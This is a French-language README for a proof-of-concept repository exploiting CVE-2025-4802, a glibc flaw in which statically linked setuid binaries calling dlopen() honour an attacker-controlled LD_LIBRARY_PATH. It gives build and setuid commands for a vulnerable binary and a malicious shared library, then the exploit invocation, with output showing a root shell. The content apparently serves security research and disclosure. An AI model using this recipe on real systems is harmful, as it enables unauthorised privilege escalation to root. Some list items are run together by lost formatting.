
Preuve de concept pour un binaire setuid compilé statiquement vulnérable à dlopen avec LD_LIBRARY_PATH
⚠️ Avertissement : Ce dépôt est destiné uniquement à des fins éducatives et de recherche en sécurité autorisée. N'utilisez pas cette exploitation contre des systèmes que vous ne possédez pas ou sans autorisation explicite de test. Une mauvaise utilisation peut enfreindre les lois et réglementations.
| Champ | Détails |
|---|---|
| Identifiant CVE | CVE-2025-4802 |
| Logiciel concerné | GNU C Library (glibc) |
| Versions concernées | 2.27 – 2.38 |
| Type de vulnérabilité | Élévation de privilèges via LD_LIBRARY_PATH non fiable |
| Vecteur d'attaque | Local |
Une vulnérabilité dans les versions 2.27 à 2.38 de la GNU C Library (glibc) permet à un attaquant d'exploiter la variable d'environnement LD_LIBRARY_PATH dans les binaires setuid compilés statiquement qui appellent dlopen().
Normalement, l'éditeur de liens dynamique nettoie LD_LIBRARY_PATH pour les programmes setuid. Cependant, les binaires compilés statiquement contournent entièrement l'éditeur de liens dynamique, donc LD_LIBRARY_PATH n'est jamais effacé. Lorsqu'un tel binaire appelle dlopen() (directement, ou indirectement via setlocale() ou des fonctions NSS comme getaddrinfo()), glibc résout les bibliothèques partagées en utilisant LD_LIBRARY_PATH contrôlé par l'attaquant, permettant l'exécution de code arbitraire avec des privilèges élevés.
dlopen("myso.so", ...) pour charger un objet partagé par son nom (pas un chemin absolu).ld-linux.so) ne s'exécute jamais, donc LD_LIBRARY_PATH n'est pas nettoyé.myso.so) qui exporte le même symbole hello() mais génère un shell root.LD_LIBRARY_PATH pour pointer vers le répertoire contenant la bibliothèque malveillante..
├── main.c # Code source du binaire setuid vulnérable
├── myso.c # Objet partagé légitime (sûr)
├── evil_library/
│ └── evilso.c # Objet partagé malveillant (génère un shell root)
├── proof_of_concept_screenshot.png # Capture d'écran terminal de l'exploitation
├── proof_of_concept_video.mp4 # Vidéo de démonstration
├── Makefile # Automatisation de la compilation
└── README.md
ldd --version)gcc, makemake all
Ou manuellement :
# Compiler l'objet partagé légitime
gcc -shared -o myso.so -fPIC myso.c
# Compiler le binaire vulnérable (lié statiquement)
gcc -static -o main main.c -ldl
# Compiler l'objet partagé malveillant
gcc -shared -o evil_library/myso.so -fPIC evil_library/evilso.c
sudo chown root:root main
sudo chmod u+s main
./main
Sortie attendue :
DÉBUT DU MAIN
Bonjour depuis l'objet partagé sûr !
FIN DU MAIN
LD_LIBRARY_PATH (comportement malveillant)LD_LIBRARY_PATH=./evil_library ./main
Sortie attendue :
DÉBUT DU MAIN
Je suis malveillant maintenant
EXEC VERS SHELL ROOT
# whoami
root
Le binaire charge le myso.so de l'attaquant depuis evil_library/ au lieu du légitime, générant un shell root.

Une vidéo de démonstration est également disponible : proof_of_concept_video.mp4
dlopen()dlopen() au lieu de noms de bibliothèques nusdlopen()